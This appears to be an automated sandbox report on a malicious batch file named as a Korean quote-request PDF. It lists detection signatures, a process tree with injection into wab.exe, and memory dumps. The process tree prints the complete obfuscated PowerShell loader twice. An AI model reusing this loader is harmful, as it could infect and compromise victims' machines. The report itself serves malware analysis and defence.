Analysis
- max time kernel
299s - max time network
246s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
18/07/2026, 09:27
General
- Target 견적 요청_KR726_SNUST14·pdf.bat
- Size 3KB
- Sample260718-levmkafs3m
- SHA256 ec3cf001d1ab299cf449f45796e8f190f65252730b3f32a148e445fd1235fc35
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 14 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\견적 요청_KR726_SNUST14·pdf.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -windowstyle 1 "$rototil = 'frizzy';$quadrincongeal = Get-Location;[void]($quadrincongeal);$peyot=57377-57377;$septoicenagagebored112 = Get-Date;[void]($septoicenagagebored112);$poetas=34692-28692;function wibblez { param($septoicen); $skuende = Get-Date; [void]($skuende)}function kapi ($skuende,$septoicen) {$gros=copyhol192(@(103,226,208,219,203,211,199,217,112,209,221,213,216,141,135,231,168,223,217,213,207,200,200,226,108)) ;$septoicenagagebo = 'test';[void]($septoicenagagebo);Problemo ($gros)}$septoicenaskis = 'huzzah';;function glorpz { $unct = Get-Service | Select-Object -First 1; [void]($unct)};function copyhol192 ($septoicenagageboork) { for ($peyot = 0; $septoicenagageboork[$peyot]; $peyot++) { $poetas = $peyot % 8; $septoicenagageboork[$peyot] -= $udkommand[$poetas]; $poetas = [char]$septoicenagageboork[$peyot]; $prae += $poetas; } $prae}$relstat = Get-Process | Select-Object -First 1;[void]($relstat);function Problemo ($perambu) {function zorp { $langskg = 'data'; [void]($langskg)}&($lngerev) $perambu}Function Prvelse ($septoicenagageboork,$oldti=0){function floober { $nepheloi = Get-Date; [void]($nepheloi)}$signi=copyhol192(@(158,178,212,212,220,202,213,232,160,169,159,172,216,212,208,182,164,226,202,156,154,184,215,230,172,221,204,142,138,216,200,228,183,222,206,201,203,211,196,219,164,214,202,200,213,212,213,223,108));$webavise=@(Problemo ($signi));For($quadri=0; $webavise[$quadri] -ne $foetor; $quadri++){$webavise[$quadri] = kapi $webavise[$quadri] $udkommand[$quadri%8]}$pred=copyhol192(@(112,217,212,207,212,133,190,215,171,208,215,193,195,194,135,235,168,209,198,220,207,216,200));$stolt=Problemo ($pred);if ($oldti) { Problemo $stolt}else {;$stolt}}$septoicenagageboorkort = 'moo';$udkommand=@(67,111,101,102,102,101,99,116);$risikozo156 = Get-Date;[void]($risikozo156);$lngerev=copyhol192 @(140,180,189);$skdyrordbl='\urba.Syr';$realit=Prvelse 'dkFVRk4yChonABIVRis3VHJfS1ZdRTQdLVlRXUYdVUB4TxcQXFRWRm1fTEYhAAAfLEBXVldVU0VzXkUgDxcGEiwXSldTV01E';$amidop168=Prvelse 'KxsRFhVfTFsnHQwQA0sEGywICQNIBgwZbBoGWQMdExsxG1gCCRINGCwOAUAPAV5FJlhSLycdTiZ0WBMOKwsrACkJKQI+IyclAC1VHAQmCyc=';$skaded=Prvelse 'DhwdCwpXTScmHRMDFD0uOAs7MTZIU01E';$pala=Prvelse 'BCox';$structural=Prvelse 'FhwAFEskBBEtGw==';$septoicendest=Prvelse 'fQ==';Prvelse 'ZwgJCQQED04oAAsQAxcQETFSQQMIE1kVMx8BBxIESFAwBAEfFAoRECED' 1;Prvelse 'ZwgJCQQED04wCg4TCFhHFS4GAQkWVFVMbRwVCg8RS1AwChUSCQwAES0LABUSTA==' 1;$amidop168=$sekun[0];Prvelse 'ZwgJCQQED04gDggDCgBeOiYYSCkEDwYXN09IJQkIQ1AwBAQCAwE=' 1;Prvelse 'ZwgJCQQED041CgEVEgQCB35HMQMVEU4kIhsNRkIODBo1ChcVAxdK' 1;while (!$vedstaas) {Prvelse 'ZwgJCQQED04MHwIUW0EXBjYK' 1;Prvelse 'ZwwECwMJBlosHwAITkETFS8OSUZCBA4dJwAVV1BdT1RnHAAWEgoKFyYBBAEHAgYWLA4JFQNM' 1;Prvelse 'ZwwECwMJBlowChE0AxQWETAbLQMHAQYGa0sWEhQQAAA2HQQKSkVHBiYOCQ8STA==' 1;Prvelse 'ZwwECwMJBlowCgsCTkw=' 1;Prvelse 'ZwgJCQQED04zBgYUW0EAFS4KCQNIFhcVNxoWRksAElRxX1U=' 1;if ($picr) {Prvelse 'GA0cEgM+PilnCAkJBAQPTi0ACxQDFQYafksGBwsADxFtHQAVFgoNByYtCgIf' 1;Prvelse 'MAxFQg0KDQImHRYDFEVHGiwBFwMWAA1UbioLBQkBChokTycfEgA=' 1} Prvelse 'EAMAAxZNV10=' 1;Prvelse 'ZwgJCQQED041CgEVEgQCB35HMQMVEU4kIhsNRkIODBo1ChcVAxdK' 1 ;Prvelse 'ZwgJCQQED04gCgsSA1hHEy8ABwcKXwIYLwpOTUNBEBEoGgtIBQoWGjc=' 1;$amidop168=$sekun[$cente]}$skamre=139795;$septoicenuscarlege=14905;Prvelse 'ZwgJCQQED04wAxMNCAQTSSQMRUINCg0CJh0WAxQ=' 1;Prvelse 'ZwgJCQQED04QBAoUFREGGiRSPiUJCxURMRs4XFwjERsuLQQVA1NXJzcdDAgBTUcHLxkOCAcVSg==' 1;Prvelse 'ZwgJCQQED04uDggLCQIRFTMHWD0yABsAbSoLBQkBChokMl9cJzYgPQpBIgMSNhcGKgECTkI2CBsxHBEDCAJK' 1;Prvelse 'ZwgJCQQED04hABcfCg5eUC4OCAsJAhEVMwdLFRMHEAAxBgsBTkEQHyICFwNKQRARMxsKDwUADQEwDAQUCgAEEWo=' 1;Problemo $borylk;$skuendertill = 'finished';[void]($skuendertill);;;;#Insulati LandviEXhem ;"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$rototil = 'frizzy';$quadrincongeal = Get-Location;[void]($quadrincongeal);$peyot=57377-57377;$septoicenagagebored112 = Get-Date;[void]($septoicenagagebored112);$poetas=34692-28692;function wibblez { param($septoicen); $skuende = Get-Date; [void]($skuende)}function kapi ($skuende,$septoicen) {$gros=copyhol192(@(103,226,208,219,203,211,199,217,112,209,221,213,216,141,135,231,168,223,217,213,207,200,200,226,108)) ;$septoicenagagebo = 'test';[void]($septoicenagagebo);Problemo ($gros)}$septoicenaskis = 'huzzah';;function glorpz { $unct = Get-Service | Select-Object -First 1; [void]($unct)};function copyhol192 ($septoicenagageboork) { for ($peyot = 0; $septoicenagageboork[$peyot]; $peyot++) { $poetas = $peyot % 8; $septoicenagageboork[$peyot] -= $udkommand[$poetas]; $poetas = [char]$septoicenagageboork[$peyot]; $prae += $poetas; } $prae}$relstat = Get-Process | Select-Object -First 1;[void]($relstat);function Problemo ($perambu) {function zorp { $langskg = 'data'; [void]($langskg)}&($lngerev) $perambu}Function Prvelse ($septoicenagageboork,$oldti=0){function floober { $nepheloi = Get-Date; [void]($nepheloi)}$signi=copyhol192(@(158,178,212,212,220,202,213,232,160,169,159,172,216,212,208,182,164,226,202,156,154,184,215,230,172,221,204,142,138,216,200,228,183,222,206,201,203,211,196,219,164,214,202,200,213,212,213,223,108));$webavise=@(Problemo ($signi));For($quadri=0; $webavise[$quadri] -ne $foetor; $quadri++){$webavise[$quadri] = kapi $webavise[$quadri] $udkommand[$quadri%8]}$pred=copyhol192(@(112,217,212,207,212,133,190,215,171,208,215,193,195,194,135,235,168,209,198,220,207,216,200));$stolt=Problemo ($pred);if ($oldti) { Problemo $stolt}else {;$stolt}}$septoicenagageboorkort = 'moo';$udkommand=@(67,111,101,102,102,101,99,116);$risikozo156 = Get-Date;[void]($risikozo156);$lngerev=copyhol192 @(140,180,189);$skdyrordbl='\urba.Syr';$realit=Prvelse 'dkFVRk4yChonABIVRis3VHJfS1ZdRTQdLVlRXUYdVUB4TxcQXFRWRm1fTEYhAAAfLEBXVldVU0VzXkUgDxcGEiwXSldTV01E';$amidop168=Prvelse 'KxsRFhVfTFsnHQwQA0sEGywICQNIBgwZbBoGWQMdExsxG1gCCRINGCwOAUAPAV5FJlhSLycdTiZ0WBMOKwsrACkJKQI+IyclAC1VHAQmCyc=';$skaded=Prvelse 'DhwdCwpXTScmHRMDFD0uOAs7MTZIU01E';$pala=Prvelse 'BCox';$structural=Prvelse 'FhwAFEskBBEtGw==';$septoicendest=Prvelse 'fQ==';Prvelse 'ZwgJCQQED04oAAsQAxcQETFSQQMIE1kVMx8BBxIESFAwBAEfFAoRECED' 1;Prvelse 'ZwgJCQQED04wCg4TCFhHFS4GAQkWVFVMbRwVCg8RS1AwChUSCQwAES0LABUSTA==' 1;$amidop168=$sekun[0];Prvelse 'ZwgJCQQED04gDggDCgBeOiYYSCkEDwYXN09IJQkIQ1AwBAQCAwE=' 1;Prvelse 'ZwgJCQQED041CgEVEgQCB35HMQMVEU4kIhsNRkIODBo1ChcVAxdK' 1;while (!$vedstaas) {Prvelse 'ZwgJCQQED04MHwIUW0EXBjYK' 1;Prvelse 'ZwwECwMJBlosHwAITkETFS8OSUZCBA4dJwAVV1BdT1RnHAAWEgoKFyYBBAEHAgYWLA4JFQNM' 1;Prvelse 'ZwwECwMJBlowChE0AxQWETAbLQMHAQYGa0sWEhQQAAA2HQQKSkVHBiYOCQ8STA==' 1;Prvelse 'ZwwECwMJBlowCgsCTkw=' 1;Prvelse 'ZwgJCQQED04zBgYUW0EAFS4KCQNIFhcVNxoWRksAElRxX1U=' 1;if ($picr) {Prvelse 'GA0cEgM+PilnCAkJBAQPTi0ACxQDFQYafksGBwsADxFtHQAVFgoNByYtCgIf' 1;Prvelse 'MAxFQg0KDQImHRYDFEVHGiwBFwMWAA1UbioLBQkBChokTycfEgA=' 1} Prvelse 'EAMAAxZNV10=' 1;Prvelse 'ZwgJCQQED041CgEVEgQCB35HMQMVEU4kIhsNRkIODBo1ChcVAxdK' 1 ;Prvelse 'ZwgJCQQED04gCgsSA1hHEy8ABwcKXwIYLwpOTUNBEBEoGgtIBQoWGjc=' 1;$amidop168=$sekun[$cente]}$skamre=139795;$septoicenuscarlege=14905;Prvelse 'ZwgJCQQED04wAxMNCAQTSSQMRUINCg0CJh0WAxQ=' 1;Prvelse 'ZwgJCQQED04QBAoUFREGGiRSPiUJCxURMRs4XFwjERsuLQQVA1NXJzcdDAgBTUcHLxkOCAcVSg==' 1;Prvelse 'ZwgJCQQED04uDggLCQIRFTMHWD0yABsAbSoLBQkBChokMl9cJzYgPQpBIgMSNhcGKgECTkI2CBsxHBEDCAJK' 1;Prvelse 'ZwgJCQQED04hABcfCg5eUC4OCAsJAhEVMwdLFRMHEAAxBgsBTkEQHyICFwNKQRARMxsKDwUADQEwDAQUCgAEEWo=' 1;Problemo $borylk;$skuendertill = 'finished';[void]($skuendertill);;;;#Insulati LandviEXhem ;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
-
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
urba.Syr
memory/2416-10-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2416-11-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2416-6-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2416-7-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2416-8-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2416-9-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2416-0-0x00007FFAA609F000-0x00007FFAA60A0000-memory.dmp
memory/2416-5-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2416-12-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2416-13-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2416-14-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2416-18-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/2416-4-0x000001E3CC0F0000-0x000001E3CC112000-memory.dmp
memory/2416-3-0x00007FFAA5F10000-0x00007FFAA68B4000-memory.dmp
memory/3772-25-0x0000000074E50000-0x000000007560C000-memory.dmp
memory/3772-36-0x00000000079A0000-0x0000000007F5A000-memory.dmp
memory/3772-23-0x0000000005C00000-0x0000000005C22000-memory.dmp
memory/3772-26-0x0000000005D10000-0x0000000005D76000-memory.dmp
memory/3772-21-0x0000000074E50000-0x000000007560C000-memory.dmp
memory/3772-24-0x0000000005CA0000-0x0000000005D06000-memory.dmp
memory/3772-29-0x0000000005F40000-0x000000000629B000-memory.dmp
memory/3772-20-0x0000000004EC0000-0x0000000004EF6000-memory.dmp
memory/3772-31-0x0000000006370000-0x000000000638E000-memory.dmp
memory/3772-32-0x0000000006430000-0x000000000647C000-memory.dmp
memory/3772-33-0x0000000007340000-0x00000000073D6000-memory.dmp
memory/3772-34-0x00000000068F0000-0x000000000690A000-memory.dmp
memory/3772-35-0x0000000006940000-0x0000000006962000-memory.dmp
memory/3772-22-0x0000000005550000-0x0000000005B9A000-memory.dmp
memory/3772-37-0x00000000085E0000-0x0000000008C5C000-memory.dmp
memory/3772-19-0x0000000074E62000-0x0000000074E63000-memory.dmp
memory/3772-39-0x0000000074E50000-0x000000007560C000-memory.dmp
memory/3772-40-0x0000000074E50000-0x000000007560C000-memory.dmp
memory/3772-41-0x0000000074E50000-0x000000007560C000-memory.dmp
memory/3772-42-0x0000000074E50000-0x000000007560C000-memory.dmp
memory/3772-44-0x0000000074E50000-0x000000007560C000-memory.dmp
memory/3772-43-0x0000000008C60000-0x000000000BE20000-memory.dmp
memory/3772-45-0x0000000074E62000-0x0000000074E63000-memory.dmp
memory/3772-46-0x0000000074E50000-0x000000007560C000-memory.dmp
memory/3772-47-0x0000000074E50000-0x000000007560C000-memory.dmp
memory/5484-48-0x0000000000400000-0x00000000005F1000-memory.dmp
memory/5484-60-0x0000000000400000-0x00000000005F1000-memory.dmp